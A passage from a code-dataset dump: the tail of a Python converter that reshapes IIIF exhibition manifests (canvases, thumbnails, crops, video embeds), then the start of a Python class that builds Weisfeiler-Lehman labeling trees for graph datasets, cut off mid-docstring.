get_value(canvas[\"summary\"]) is None:\n raise ValueError(\"Info canvas has no summary\")\n if \"requiredStatement\" in canvas:\n del canvas[\"requiredStatement\"] # not used for info\n\n anno_page = required_single_item(canvas)\n textual_anno = required_single_item(anno_page) # an info must have only one anno\n must_equal(textual_anno[\"body\"][\"type\"], \"TextualBody\", \"info anno must have a TextualBody\")\n must_equal(textual_anno[\"motivation\"], \"painting\", \"info anno must have a painting motivation\")\n\n # Tobacco mosaic virus in Corona Chronicles does not have a label\n # must_not_be_none(get_value(textual_anno[\"label\"]), \"info anno must have a label\")\n must_not_be_none(get_value(textual_anno[\"summary\"]), \"info anno must have a summary\")\n\n # Should just target the whole canvas\n textual_anno[\"target\"] = textual_anno[\"target\"].split(\"#\")[0]\n\n # Transformation candidate:\n # - The text to display on the canvas becomes the actual anno body\n # - The pop-up text becomes an annotation under the annotations property\n # The problem is that we lose the label/summary distinction\n # We also lose the ability to pull out the first value from the language map - however that isn't used here.\n # BUT this means we have to support label and summary on annotations\n # What is easiest for the Manifest Editor?\n\n if CONVERT_INFO_CANVAS_BODIES:\n # Convert the canvas label and summary into a direct painting annotation on the canvas, of type text/html\n # QUESTION - do we want to do this?\n id_root = textual_anno[\"body\"][\"id\"]\n textual_anno[\"body\"] = []\n nl_body = get_html_from_label_and_summary(canvas, \"nl\")\n if nl_body is not None:\n textual_anno[\"body\"].append(make_textual_body(nl_body, \"text/html\", \"nl\", f\"{id_root}/nl\"))\n en_body = get_html_from_label_and_summary(canvas, \"en\")\n if en_body is not None:\n textual_anno[\"body\"].append(make_textual_body(en_body, \"text/html\", \"en\", f\"{id_root}/en\"))\n del canvas[\"label\"]\n del canvas[\"summary\"]\n\n if CONVERT_INFO_CANVAS_POPUP:\n # Convert the label and summary of the textual annotation into a non-painting annotation\n # (introducing an annotations property to the canvas)\n # QUESTION - do we want to do this?\n canvas[\"annotations\"] = [{\n \"type\": \"AnnotationPage\",\n \"id\": f\"{canvas['id']}/annotations\",\n \"items\": [{\n \"id\": f\"{canvas['id']}/annotations/0\",\n \"type\": \"Annotation\",\n \"motivation\": \"describing\",\n \"target\": canvas[\"id\"],\n \"body\": []\n }]\n }]\n new_anno = canvas[\"annotations\"][0][\"items\"][0]\n nl_body = get_html_from_label_and_summary(textual_anno, \"nl\")\n if nl_body is not None:\n new_anno[\"body\"].append(make_textual_body(nl_body, \"text/html\", \"nl\", f\"{new_anno['id']}/nl\"))\n en_body = get_html_from_label_and_summary(textual_anno, \"en\")\n if en_body is not None:\n new_anno[\"body\"].append(make_textual_body(en_body, \"text/html\", \"en\", f\"{new_anno['id']}/en\"))\n\n if \"label\" in textual_anno:\n del textual_anno[\"label\"]\n del textual_anno[\"summary\"]\n\n\ndef assign_type_to_thumbnail(thumbnail_list):\n for thumbnail in thumbnail_list:\n thumb_id = thumbnail.get(\"id\", None)\n thumb_type = thumbnail.get(\"type\", None)\n if thumb_type is None and thumb_id is not None:\n thumbnail[\"type\"] = \"Image\"\n if thumb_id is not None and thumb_id.endswith(\"/full/full/0/default.jpg\"):\n thumbnail[\"format\"] = \"image/jpg\"\n service_list = thumbnail.get(\"service\", [])\n if type(service_list) is not list:\n service_list = [service_list]\n for service in service_list:\n if len(service.keys()) == 1:\n # it's just an id!\n service[\"@id\"] = thumb_id.replace(\"/full/full/0/default.jpg\", \"\")\n del service[\"id\"]\n service[\"@type\"] = \"ImageService2\"\n thumbnail[\"service\"] = service_list\n return thumbnail_list\n\n\ndef move_thumbnails_from_painting_annos_to_their_bodies(canvas):\n anno_page = required_single_item(canvas)\n for anno in anno_page[\"items\"]:\n if anno[\"motivation\"] != \"painting\":\n raise ValueError(f\"Unexpected motivation '{anno['motivation']}' in canvas.items\")\n if anno[\"body\"][\"type\"] != \"Image\" and anno[\"body\"][\"type\"] != \"Video\":\n raise ValueError(f\"Unexpected body type '{anno['body']['type']}' in canvas.items\")\n thumbnail = anno.get(\"thumbnail\", None)\n if thumbnail is None:\n return\n if type(thumbnail) is not list:\n thumbnail = [thumbnail]\n thumbnail = assign_type_to_thumbnail(thumbnail)\n if MOVE_SINGLE_PAINTING_ANNO_THUMB_TO_CANVAS and len(anno_page[\"items\"]) == 1:\n canvas[\"thumbnail\"] = thumbnail\n del anno[\"thumbnail\"]\n CANVAS_GAINED_THUMBNAIL_FROM_BODY.append(canvas[\"id\"])\n return\n if PAINTING_ANNO_THUMBS == \"Image\":\n anno[\"body\"][\"thumbnail\"] = thumbnail\n del anno[\"thumbnail\"]\n\n\ndef remodel_cropped_painting_annos(canvas):\n anno_page = required_single_item(canvas)\n for anno in anno_page[\"items\"]:\n\n if anno.get(\"body.id\", None) is None:\n # The body.id property is how the old editor signified a crop\n continue\n\n region = anno[\"body\"][\"id\"].split(\"/\")[-4]\n anno[\"body\"][\"id\"] = anno[\"body\"][\"id\"].replace(f\"/{region}/\", \"/full/\")\n specific_resource = {\n \"id\": f\"{anno['id']}/specificResource\",\n \"type\": \"SpecificResource\",\n \"source\": anno[\"body\"],\n \"selector\": {\n \"@context\": \"http://iiif.io/api/annex/openannotation/context.json\",\n \"type\": \"iiif:ImageApiSelector\",\n \"region\": region\n }\n }\n anno[\"body\"] = specific_resource\n del anno[\"body.id\"]\n\n\ndef handle_rotations(canvas):\n anno_page = required_single_item(canvas)\n for anno in anno_page[\"items\"]:\n\n if not anno[\"body\"][\"id\"].endswith(\"full/full/90/default.jpg\"):\n continue\n\n # This only applies to corona chronicles, f5b3688b-d758-4e03-7458-47135e1e9dc8\n # the body id is parameterised to rotate 90 deg, but the given w,h are for the /0/ rotation.\n # This is just a static image here!\n old_body = anno[\"body\"]\n rotated_img = old_body[\"id\"]\n old_body[\"id\"] = old_body[\"id\"].replace(\"full/full/90/\", \"full/full/0/\")\n specific_resource = {\n \"id\": rotated_img,\n \"type\": \"SpecificResource\",\n \"source\": old_body,\n \"selector\": {\n \"@context\": \"http://iiif.io/api/annex/openannotation/context.json\",\n \"type\": \"iiif:ImageApiSelector\",\n \"rotation\": 90\n }\n }\n anno[\"body\"] = specific_resource\n\n\ndef remodel_av_and_3d_painting_annos(canvas):\n anno_page = required_single_item(canvas)\n youtube = \"https://www.youtube.com\"\n youtube_short = \"https://youtu.be\" # transform this!\n sketchfab = \"https://sketchfab.com\"\n tourmake = \"https://tourmake.nl\"\n known_embeds = [youtube, youtube_short, sketchfab, tourmake]\n for anno in anno_page[\"items\"]:\n if not anno[\"body\"][\"type\"] == \"Video\":\n continue\n\n body_id = anno[\"body\"][\"id\"]\n\n if not body_id.startswith(tuple(known_embeds)):\n raise ValueError(\"Unknown embed source\")\n\n if body_id.startswith(youtube_short):\n body_id = f\"{youtube}/watch?v={body_id.split('/')[-1]}\"\n\n if body_id.startswith(youtube):\n youtube_id = body_id.split(\"=\")[-1]\n selector = anno[\"body\"].get(\"selector\", None)\n start_time = 0\n if selector is not None:\n start_time = int(selector[\"value\"].split(\"=\")[1].split(\",\")[0])\n object_body = None\n service_body = None\n if YOUTUBE_CONVERT == \"Objectifier\" or YOUTUBE_CONVERT == \"Both\":\n object_body = {\n \"id\": body_id,\n \"type\": \"Video\", # tbc\n \"service\": [{\n \"profile\": \"http://digirati.com/objectifier\",\n \"params\": {\n \"data\": f\"https://www.youtube.com/embed/{youtube_id}\"\n } # leave width and height to the client?\n }]\n }\n if start_time > 0:\n object_body[\"service\"][0][\"params\"][\"data\"] = f'{object_body[\"service\"][0][\"params\"][\"data\"]}?start={start_time}'\n\n if YOUTUBE_CONVERT == \"Service\" or YOUTUBE_CONVERT == \"Both\":\n service_body = {\n \"id\": body_id,\n \"service\": [{\n \"id\": body_id,\n \"profile\": youtube\n }]\n }\n if start_time > 0:\n service_body[\"service\"][0][\"start\"] = start_time\n\n if YOUTUBE_CONVERT == \"Both\":\n anno[\"body\"] = {\n \"id\": object_body[\"id\"],\n \"type\": \"Video\",\n \"service\": [\n object_body[\"service\"][0],\n service_body[\"service\"][0]\n ]\n }\n else:\n anno[\"body\"] = object_body or service_body\n\n return\n\n if body_id.startswith(sketchfab) or body_id.startswith(tourmake):\n # paint the thumbnail onto the canvas and supply the model as a rendering\n # We could also do this with the objectifier, but not as a painting on the canvas because it's\n # not an annotatable space\n\n # Depending on settings the thumbnail may have been already moved to the canvas\n thumbnail = anno.get(\"thumbnail\", None) or canvas.get(\"thumbnail\", None)\n anno[\"body\"] = {\n \"id\": thumbnail[0][\"id\"],\n \"type\": \"Image\",\n \"format\": \"image/jpg\"\n }\n img_service = thumbnail[0].get(\"service\", [])\n if type(img_service) is not list:\n img_service = [img_service]\n if len(img_service) == 1:\n img_svc_type = img_service[0].get(\"type\", None) or img_service[0].get(\"@type\", None)\n if img_svc_type is not None:\n # some weird IIIF for the sketchfab\n anno[\"body\"][\"service\"] = img_service\n behaviors = canvas.get(\"behavior\", [])\n behaviors.append(\"placeholder\")\n canvas[\"behavior\"] = behaviors\n canvas[\"rendering\"] = [{\n \"id\": body_id, # this is the sketchfab embed ID rather than the actual model but...\n \"type\": \"Model\",\n \"format\": \"text/html\", # maybe this tells\n \"behavior\": [\"original\"]\n }]\n\n\ndef ensure_body_services_are_arrays(canvas):\n for painting_anno in canvas[\"items\"][0][\"items\"]:\n if not isinstance(painting_anno[\"body\"], list):\n service = painting_anno[\"body\"].get(\"service\", None)\n if service is not None and type(service) is not list:\n painting_anno[\"body\"][\"service\"] = [service]\n thumb = canvas.get(\"thumbnail\", None)\n if thumb is not None and type(thumb) is not list:\n canvas[\"thumbnail\"] = [thumb]\n\n\ndef get_html_from_label_and_summary(resource, lang, convert_label=True):\n html = \"\"\n if convert_label:\n label = get_value(resource.get('label', None), lang)\n if label is not None and len(label) > 0 and label[0] is not None and label[0] != \"\":\n html = f\"

    {label[0]}

    \\n\\n\"\n summary = get_value(resource.get(\"summary\", None), lang)\n if summary is not None:\n for val in summary:\n if len(val) > 0:\n if val[0] == \"<\":\n html += f\"{val}\\n\\n\"\n else:\n html += f\"

    {val}

    \\n\\n\"\n if len(html) == 0:\n return None\n\n return html.strip()\n\n\ndef make_textual_body(body, format, language, id):\n return {\n \"type\": \"TextualBody\",\n \"value\": body,\n \"format\": format,\n \"language\": language,\n \"id\": id\n }\n\n\ndef required_single_item(thing_with_items):\n items = thing_with_items.get(\"items\", [])\n if len(items) != 1:\n raise ValueError(\"Object does not have exactly one member in .items\")\n return items[0]\n\n\ndef must_equal(a, b, message):\n if a != b:\n raise ValueError(message)\n\n\ndef must_not_be_none(a, message):\n if a is None:\n raise ValueError(message)\n\n\ndef get_value(lang_map, lang=None):\n if lang_map is None:\n return None\n if lang is not None:\n return lang_map.get(lang, None)\n\n # default to en for our tests\n val = lang_map.get(\"en\", None)\n if val is not None:\n return val\n return lang_map.get(\"nl\", None)\n\n\nif __name__ == '__main__':\n convert_folder(sys.argv[1])\n","repo_name":"digirati-co-uk/delft-exhibition-converter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":24152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37758140158","text":"from typing import List, Dict, Tuple, Any, Union\nfrom collections import Counter\nimport numpy as np\nfrom os.path import exists\nfrom os import mkdir, makedirs\nfrom abc import ABC, abstractmethod\n# For the parsing of console input:\nimport sys, getopt, argparse\n\nfrom scipy.sparse import coo_matrix, save_npz, load_npz\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\n# Own files:\nfrom my_utils.decorators import get_logger\nfrom my_utils.functions import is_bijection\nimport my_consts as c\n\n# GLOBAL DEBUGGING LOGGER for this script\nLOG = get_logger(filename=\"Loggers/x2_wllt_constructor.txt\", create_file=True)\n\nHISTOGRAM_PRECISION = 3\nMEAN_WL_CHANGE_WARN = 5\nWLLT_META_DELIMITER = \"\\t\"\n\n############################################################################## \n##### WLLT ###################################################################\n##############################################################################\n\nclass WLLT():\n \"\"\" \n Every WLLT consists of the following files:\n WLLT_META_info.txt containing paths to other files, depth.\n WLLT_META_layer_starts.npy containing the highest WLLT-vertex-index for every layer.\n WLLT_META_graphs_wllt_representation.npz containing an 'scipy.sparse.coo_matrix' of the (normalized) frequencies of all wl-labels in every graph.\n WLLT_META_edge_weights.npy containing an array of edge weights at position v for every edge (w,v). Has #wl-labels many lines.\n WLLT_META_mean_wl_change.npy containing for every iteration the mean of how many WL-labels have changed compared to the last iteration (that is if they are not bijective).\n\n WLLT_path_lists_d.npy containing the wllt as list of paths of length . Only the one with the highest d is needed. Has #layer- many lines.\n WLLT_vertex_labels_d.npy containing an array of wl-labels at depth for every vertex in the whole database.\n \"\"\"\n \n def __init__(self, ask_for_early_stopp: bool = True):\n self.dataset_name: str = \"\"\n # This 'wl_iteration' counter indicates the last completed iteration. There should be files (WL-vertex-labels) for this value.\n # Since the original vertex labels are considered as zeroth WL-vertex-labels, this iteration has been completed at initialization.\n self._wl_iteration: int = 0\n # This 'n' counter will also be used to define the next wl-label in the hashing process.\n self.n: int = 0\n self.dir_in: str = \"\"\n self.dir_out: str = \"\"\n self.ask_for_early_stopp: bool = ask_for_early_stopp\n\n def __repr__(self) -> str:\n str_representation: str = f\"WLLT - wl-iteration: {self.get_wl_iteration()}, n: {self.n}. File names:\"\n str_representation += f\"\\n\\tOutput dir.: {self.dir_out}\"\n str_representation += f\"\\n\\tAdjacency lists: {self.get_adj_lists_file_name()}\"\n str_representation += f\"\\n\\tVertex ids: {self.get_graph_vertices_file_name()}\"\n str_representation += f\"\\n\\tGraph classes: {self.get_graph_classes_file_name()}\"\n str_representation += \"\\n\"\n str_representation += f\"\\n\\tMeta: {self.get_meta_file_name()}\"\n str_representation += f\"\\n\\tParent list: {self.get_parent_list_file_name()}\"\n str_representation += f\"\\n\\tVertex labels: {self.get_vertex_labels_file_name()}\"\n str_representation += f\"\\n\\tVertex label map: {self.get_vertex_label_map_file_name()}\" \n str_representation += f\"\\n\\tGraph repr.: {self.get_graph_representations_file_name()}\"\n str_representation += f\"\\n\\tEdge weights: {self.get_edge_weights_file_name()}\"\n return str_representation\n\n def get_nr_wl_labels(self) -> int:\n return self.n\n\n def increment_nr_wl_labels(self) -> None:\n self.n += 1\n\n ### File name - Getters ###\n\n def get_meta_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_INFO}\"\n\n def get_adj_lists_file_name(self) -> str:\n return f\"{self.dir_in}/{c.FN_ADJ_LISTS}\"\n \n def get_graph_vertices_file_name(self) -> str:\n return f\"{self.dir_in}/{c.FN_GRAPH_VERTICES}\"\n \n def get_graph_classes_file_name(self) -> str:\n return f\"{self.dir_in}/{c.FN_GRAPH_CLASSES}\"\n\n def get_output_dir(self) -> str:\n return self.dir_out\n \n def get_input_dir(self) -> str:\n return self.dir_in\n\n # The 'wl_iteration' counter is sensitive, since it is used to index files.\n # Thus all operations to manipulate it are encapsulated in the folowing five methods.\n def _latest_wl_iteration(self) -> int:\n \"\"\" Returns the highest iteration that has been completed. There should be WL-vertex-labels stored for this iteration. \"\"\"\n return self._wl_iteration\n \n def _next_wl_iteration(self) -> int:\n \"\"\" Returns the next iteration that has to be completed. There should be no WL-vertex-labels stored for this iteration yet. \"\"\"\n return self._wl_iteration + 1\n\n def _increment_wl_iteration_ctr(self) -> None:\n self._wl_iteration += 1\n \n def _set_wl_iteration_ctr(self, value: int) -> None:\n self._wl_iteration = value\n\n def get_wl_iteration(self) -> int:\n return self._wl_iteration\n\n def get_layer_starts_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_LAYER_STARTS}\"\n\n def get_parent_list_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_PARENT_LIST}\"\n\n def get_vertex_labels_file_name(self, depth: int = None) -> str:\n \"\"\" If no depth is passed, the name of the most recent created file is returned. \"\"\"\n if depth is None: depth = self._latest_wl_iteration()\n if depth == -1: depth = 0 \n return f\"{self.dir_out}/{c.FN_PREFIX_VERTEX_LABELS_D}{depth}.npy\"\n\n def get_vertex_label_map_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_WL_MAP}\"\n\n def get_graph_representations_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_GRAPH_REPR}\"\n\n def get_edge_weights_file_name(self) -> str: \n return f\"{self.dir_out}/{c.FN_META_EDGE_WEIGHTS}\"\n\n def get_mean_wl_change_file_name(self) -> str:\n return f\"{self.dir_out}/{c.FN_META_MEAN_WL_CHANGE}.npy\"\n\n def get_all_file_paths(self) -> List[str]: \n l = [self.dir_out,\n self.get_adj_lists_file_name(),\n self.get_graph_vertices_file_name(),\n self.get_graph_classes_file_name(), \n self.get_meta_file_name(), #\n self.get_layer_starts_file_name(),\n self.get_parent_list_file_name(),\n self.get_vertex_labels_file_name(),\n self.get_vertex_label_map_file_name(),\n self.get_graph_representations_file_name(),\n self.get_edge_weights_file_name(),\n self.get_mean_wl_change_file_name()\n ]\n return l\n\n ### Data from file - Getters ###\n \n def get_data_up_to_iter_from_file(self, file_name: str) -> np.array:\n arr = np.load(file_name, allow_pickle=True)\n # Get only the layer starts, up to the last iteration. Since the layer-end of the zeroth iteration is stored in the \n # zeroth position of the array, the pointer has to be incremented by one.\n return arr[:self._latest_wl_iteration() + 1]\n\n def get_layer_starts_from_file(self) -> np.array:\n layer_starts: np.array = self.get_data_up_to_iter_from_file(self.get_layer_starts_file_name())\n return layer_starts.astype(np.int32)\n\n def get_highest_leaf_from_file(self) -> int:\n \"\"\" \n Returns the highest leaf (WLLT vertex) that is stored to file. Notice that it consideres all layer starts up to the latest wl_iteration,\n and returns only the last layer start - which is the highest leaf.\n Thus if this values is reduced, the WLLT can be considered to be smaller, than it has been computed already.\n \"\"\"\n layer_starts = np.load(self.get_layer_starts_file_name(), allow_pickle=True)\n return int(layer_starts[self._latest_wl_iteration()])\n\n def get_wl_labels_layer_wise(self) -> List[List[int]]:\n \"\"\"\n This method returns a list of lists of integers such that list 'i' contains\n all wl-labels that are used at depth 'i' in the WLLT.\n Since the wl-labels are in range '[0, n]', this can be done by only storing the \"outer most right\"\n wl-label (layer start) to get the ranges of wl-labels used per layer.\n \"\"\"\n old_layer_starts = self.get_layer_starts_from_file().astype(int)\n layer_starts = np.append([0], old_layer_starts)\n \n wl_labels = []\n for i in range(len(layer_starts) - 1):\n wl_labels.append(list(range(layer_starts[i], layer_starts[i+1])))\n\n return wl_labels\n\n def get_parent_list_from_file(self) -> np.array:\n \"\"\" \n Returns the parent list stored to file. Notice that it consideres all parents up to the highest index in the layer starts vector.\n Since the read-in of the layer starts vector depends on the latest wl_iteration, it is possible to consider the WLLT to be smaller, \n than it has been computed already. That is to return not all parents that are stored, but all up to a considered layer in the WLLT.\n \"\"\"\n highest_leaf = self.get_highest_leaf_from_file()\n parent_list = np.load(self.get_parent_list_file_name()).astype(int)\n return parent_list[:highest_leaf]\n\n def get_vertex_labels_from_file(self, depth: int = None, with_tailing_dummy_label: bool = True) -> np.array: \n vertex_labels = np.load(self.get_vertex_labels_file_name(depth)).astype(int)\n \n if with_tailing_dummy_label:\n vertex_labels = np.append(vertex_labels, np.array([c.DUMMY_LABEL], dtype=int))\n return vertex_labels\n\n def get_vertex_label_map_from_file(self, as_dict=False) -> Union[np.array, Dict[int, Tuple[int, List[int]]]]:\n vertex_label_map = np.load(self.get_vertex_label_map_file_name(), allow_pickle=True)\n\n if not as_dict:\n return vertex_label_map\n else:\n vertex_label_dict = dict(zip(range(len(vertex_label_map)), vertex_label_map))\n return vertex_label_dict\n\n def get_original_vertex_labels_from_file(self) -> np.array:\n original_vertex_labels = np.load(f\"{self.dir_in}/{c.FN_VERTEX_LABELS}\")\n\n # Remove tailing dummy labels.\n original_vertex_labels = np.append(original_vertex_labels, np.array([c.DUMMY_LABEL], dtype=int))\n return original_vertex_labels\n\n def get_graph_repr_from_file(self, nr_features: int = None):\n \"\"\"\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.sparse.csr_matrix.html#scipy.sparse.csr_matrix\n This method returns a 'scipy.sparse.coo_matrix' which contains the (normalized) frequencies\n of ALL wl-labels (in the whole wllt) that can be applied in their respective iteration to the \n labels of a graph.\n The sparse vectors of these wl-label frequencies are the rows of the matrix. Thus row i stores\n this vector for graph i.\n The columns correspond to the wl-labels in the wllt. Thus the (normalized) frequency\n of wl-label 'j' in graph 'i' is stored as entry (i, j).\n \"\"\" \n M = load_npz(self.get_graph_representations_file_name()).tocoo() # -> scipy.sparse.csr.csr_matrix\n data, row, col = M.data, M.row, M.col\n\n if nr_features is None:\n # Notice that the WLLT may have been initialized from the META file, \n # using a lesser wl-iteration depth than was computed earlier.\n # Thus omit the other columns, if necessary.\n layer_start = self.get_layer_starts_from_file()[self.get_wl_iteration()]\n nr_features = layer_start\n\n # All values must be lower than 'layer_start', since the indixes of the WLLT edges\n # indicate their parent vertex. Thus all edges that are in the subtree have a name lower than 'layer_start'.\n # On the other hand using 'range(layer_start)' as limiting index works perfectly finde.\n selected_feature_ids = np.where(col < nr_features)\n \n data = data[selected_feature_ids].astype(np.float32)\n row = row[selected_feature_ids]\n col = col[selected_feature_ids]\n if len(data) == 0:\n trimmed_graph_repr_coo = coo_matrix((data, (row, col)), shape=(0, 0)) \n else:\n trimmed_graph_repr_coo = coo_matrix((data, (row, col)))\n \n return trimmed_graph_repr_coo\n\n def get_edge_weights_from_file(self) -> np.array:\n layer_start = self.get_layer_starts_from_file()[self.get_wl_iteration()]\n \n all_weights = np.load(self.get_edge_weights_file_name())\n return all_weights[:layer_start]\n\n def get_adj_lists_from_file(self) -> np.array:\n return np.load(self.get_adj_lists_file_name()).astype(int)\n\n def get_graph_vertices_from_file(self) -> np.array:\n return np.load(self.get_graph_vertices_file_name()).astype(int)\n\n def get_graph_classes_vec_from_file(self) -> np.array:\n return np.load(self.get_graph_classes_file_name()).astype(int)\n\n def get_graph_classes_from_file(self) -> np.array:\n return np.unique(self.get_graph_classes_vec_from_file())\n\n def get_nr_graphs_from_class_file(self) -> int:\n return self.get_graph_classes_vec_from_file().shape[0]\n\n def get_highest_layer_index_from_file(self) -> int:\n \"\"\" Let 'L' be the path from the root to a leaf, than the returned value is '|L|-1'. \"\"\"\n return len(self.get_layer_starts_from_file())\n\n def get_graphs_vertices_wl_labels(self, depth: int = None, vertices_matrix: np.array = None) -> np.array:\n \"\"\"\n Returns a matrix containing all graphs, with the wl-labels of iteration 'd'.\n By default 'd' is the highest constructed labeling.\n\n The output is a matrix such that row 'i' contains the \n wl-labels in iteration 'd' of graph 'i'; and tailing DUMMY-LABELS.\n \"\"\"\n if depth is None or depth >= self.get_wl_iteration(): \n return None\n \n wl_labels = self.get_vertex_labels_from_file(depth, with_tailing_dummy_label=True)\n if vertices_matrix is None:\n vertices_matrix = self.get_graph_vertices_from_file()\n\n # Use the values in 'vertices_matrix' as in indices in 'wl_labels' to find out what their new value is.\n wl_label_matrix = wl_labels[vertices_matrix]\n return wl_label_matrix \n \n def get_common_ancestor_of_same_layer_vertices(self, v: int, w: int, parent_list: np.array = None) -> int:\n \"\"\"\n Simultaneously and iteratively compares the parents of the passed vertices.\n If the verticies do not have the same path length to their common ancestor, that is \n if they are not on the same layer, this is not the right method for the task!\n Returns the leasr common ancestor, if found (if the vertices are on the same layer).\n \"\"\"\n if parent_list is None:\n parent_list = self.get_parent_list_from_file()\n\n parent_v = parent_list[v]\n parent_w = parent_list[w]\n\n while parent_v != parent_w:\n parent_v = parent_list[parent_v]\n parent_w = parent_list[parent_w]\n\n # It is allowed that both parents are the only negative value, which is the root.\n # It cannot be, that just one parent is negative, since then the indices are not at the same layer!\n # If this case still appears, break since otherwise the while loop would traverses the tree multiple times and returns false information.\n if (parent_v * parent_w < 0): break\n\n if parent_v == parent_w:\n return parent_v\n else:\n LOG.error(f\"Fct = 'get_common_ancestor({v}, {w})'! No common ancestor was found!\")\n return None\n\n def get_path_to_root(self, v, parent_list: np.array = None) -> np.array:\n \"\"\"\n Iterates through the np.array of parents until the root is reached. \n Returns the list of visited tree vertices.\n \"\"\"\n if parent_list is None:\n parent_list = self.get_parent_list_from_file()\n \n path = np.array([v], dtype=int)\n parent = parent_list[v]\n path = np.append(path, [parent])\n\n while parent != -1:\n parent = parent_list[parent]\n path = np.append(path, [parent])\n\n return path\n\n def get_all_paths_to_root(self, parent_list: np.array = None, depth: int = None, max_v_id: int = None) -> Dict[int, np.array]:\n \"\"\"\n Iterates through all leaves and calls the 'get_path_to_root' function to construct a \n parth to the root for all leaves.\n Returns a dictionarys mapping a leav index (key) to the path from it to the root (as np.array of size #wllt_depth).\n \"\"\"\n layer_starts = self.get_layer_starts_from_file()\n\n if depth is None: \n if max_v_id is None:\n depth = self._latest_wl_iteration()\n else:\n for d, v in enumerate(layer_starts):\n if v >= max_v_id:\n depth = d\n break\n \n leaves_layer_start = depth - 1\n leaves_layer_end = depth\n leaves_layer_ids = range(layer_starts[leaves_layer_start], layer_starts[leaves_layer_end])\n paths_dict: dict = dict(zip(leaves_layer_ids, np.array([])))\n\n if parent_list is None: parent_list = self.get_parent_list_from_file()\n for leaf in leaves_layer_ids:\n tmp_path: np.array = self.get_path_to_root(leaf, parent_list)\n paths_dict[leaf] = tmp_path\n\n return paths_dict\n\n def get_unfolding_tree(self, label: int, label_map: Dict[int, Tuple[int, List[int]]] = None) -> Tuple[List, str]: \n \n def unfold_parent_recursive(label: int, indent_nr: int = 0) -> Tuple[List[Tuple], str]:\n v_N_hash: Tuple[int, List[int]] = label_map.get(label)\n indent: str = '.' * indent_nr\n if v_N_hash is None: return None, ''\n label_v, labels_N = v_N_hash[0], v_N_hash[1]\n if label_v == c.DUMMY_LABEL: return None, None\n if len(labels_N) == 0: return None, None\n if labels_N[0] == c.DUMMY_LABEL: return None, None\n \n unfolded_v, unfolded_v_str = unfold_parent_recursive(label_v, indent_nr=indent_nr+1)\n unfolded_N = []\n unfolded_N_str = ''\n # Get the unfolding trees for all labels in the neighborhood - ONCE. No repetitions necessary.\n for n in np.unique(list(v_N_hash[1])):\n unfolded_n, n_str = unfold_parent_recursive(n, indent_nr=indent_nr+1)\n unfolded_N.append(unfolded_n)\n if n_str is not None:\n unfolded_N_str += f\"\\n{indent}{n_str}\" \n \n title = f\"{indent}{label}:\"\n if len(title) < 7: title += \"\\t\"\n\n ret_str = f\"{title}\\t{label_v}|{labels_N}\"\n if unfolded_v_str is not None: ret_str += f\"\\n{indent}{unfolded_v_str}\"\n ret_str += f\"{unfolded_N_str}\"\n return [label, (unfolded_v, unfolded_N)], ret_str\n\n if label_map is None: label_map: Dict[int, Tuple[int, List[int]]] = self.get_vertex_label_map_from_file(as_dict=True)\n unfolding_tree = [label] \n\n u_tree, unfolding_tree_str = unfold_parent_recursive(label)\n unfolding_tree.append(u_tree)\n \n return unfolding_tree, unfolding_tree_str\n\n\n def get_common_ancestors_of_different_layer_vertices(self, v: int, w: int, parent_list: np.array = None) -> Tuple[int, List[int]]:\n \"\"\"\n Constructs the complete paths from the input tree vertices 'v' and 'w' to the root\n and computes the intersection of these paths.\n Returns both the maximum value of the intersection (the wl-label/tree vertex furthest from the root),\n and the hole list of common ancestors (path from the least common ancestor to the root) - which is created as a byproduct.\n \"\"\"\n if parent_list is None:\n parent_list = self.get_parent_list_from_file()\n\n path_v = self.get_path_to_root(v, parent_list)\n path_w = self.get_path_to_root(w, parent_list)\n\n common_elements = np.intersect1d(path_v, path_w, assume_uniqe=False)\n\n return common_elements.max(), common_elements\n\n def get_mean_max_nr_vertices(self) -> Tuple[int, int]:\n \"\"\"\n Returns the mean and maximum number of vertices, by iterating over all \n vertices from the graph-vertices-file and comparing the non-dummy-entries.\n \"\"\"\n vertices_mat = self.get_graph_vertices_from_file()\n nr_graphs = vertices_mat.shape[0]\n max_nr_of_vertices: int = vertices_mat.shape[1]\n nr_vertices_sum = 0\n DUMMY_INDEX = -1\n\n for row in vertices_mat:\n # Count how many values are not the DUMMY_INDEX. That is how many vertices there are.\n tmp_nr_vertices = np.nonzero(row!=DUMMY_INDEX)[0].shape[0] \n nr_vertices_sum += tmp_nr_vertices\n\n mean_nr_vertices = nr_vertices_sum // nr_graphs\n \n return mean_nr_vertices, max_nr_of_vertices\n\n def get_nr_of_graphs(self) -> List[int]:\n vertices_mat = self.get_graph_vertices_from_file()\n return vertices_mat.shape[0]\n\n ### File maintainance ### \n \n def append_to_nparr(self, file_name: str, new_list: List, first_file_iteration: int = 0) -> None:\n stored_list = []\n if self.get_wl_iteration() > first_file_iteration:\n stored_list = self.get_data_up_to_iter_from_file(file_name) \n \n stored_list = np.append(stored_list, new_list)\n self.write_np_to_file(file_name, stored_list)\n\n def append_to_vertex_map(self, new_list: List) -> None:\n stored_list = []\n if self.get_wl_iteration() >= 0:\n stored_list = self.get_vertex_label_map_from_file() \n \n stored_list = np.vstack((stored_list, new_list))\n self.write_np_to_file(self.get_vertex_label_map_file_name(), stored_list)\n\n def update_graph_representation_coo_for_layers(self, iterations: List[int] = None) -> None:\n \"\"\" \n This method updates the sparse matrix of graph representations.\n To initialize this matrix, simply do not pass an argument for the 'iterations'-List.\n In this case the matrix is initialized by empty lists.\n\n If the 'iterations'-List is not None, the graph representations are updated using all specified layers of the wllt.\n It is assumed that these layes (and thus the required files) already exist. \n \n Thus this method will be executed after each batch of layer constructions.\n\n The update process reads in the already constructed matrix. It then loads the \n wl-vertex labels for all iterations for all graphs and computes their representation.\n Since this representation only concernes a few occurring labels, this is stored in a sparse manner.\n\n - The data are the normalized frequencies of all wl-labels (for all graphs).\n - The column indices correspond to the wl-label.\n - The row indices correspond to the graph id.\n \"\"\"\n def _construct_all_iterations_labels_matrix() -> np.array:\n \"\"\"\n Stack all wl-labellings for every graph.\n The output is a matrix such that its 'i'-th row contains the wl-labels\n for every iteration of all vertices in graph 'i'.\n For an easy access, the maximum size 